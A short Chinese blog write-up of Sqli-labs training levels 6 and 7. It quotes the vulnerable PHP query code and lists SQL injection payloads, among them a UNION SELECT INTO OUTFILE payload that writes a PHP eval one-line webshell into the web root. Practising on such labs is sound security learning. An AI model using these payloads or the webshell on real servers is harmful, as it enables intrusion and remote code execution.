重闯Sqli-labs关卡第三天(6-10关)

Posted 2021-03-16 笑花大王

第六关(双注入GET双引号字符型注)

核心代码:

1 $id = ‘"‘.$id.‘"‘;
2 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根第五关类似

第七关(导出文件GET字符型注入)

核心代码

$sql="SELECT * FROM users WHERE id=((‘$id‘)) LIMIT 0,1";

不返回mysql错误

检测secure_file_prive是否为null 是null则不能写入
SHOW VARIABLES LIKE “secure_file_priv”;
secure_file_priv =空才行

payload:

id=1‘)) and 1=1--+
id=1‘)) and 1=2--+
#写入一句话webshell
id=1‘))UNION SELECT 1,"<?php @eval($_POST[‘X‘]);?>",3 into outfile "C:\phpStudy\PHPTutorial\WWW\lou\sql\Less-7\muma.php"--+
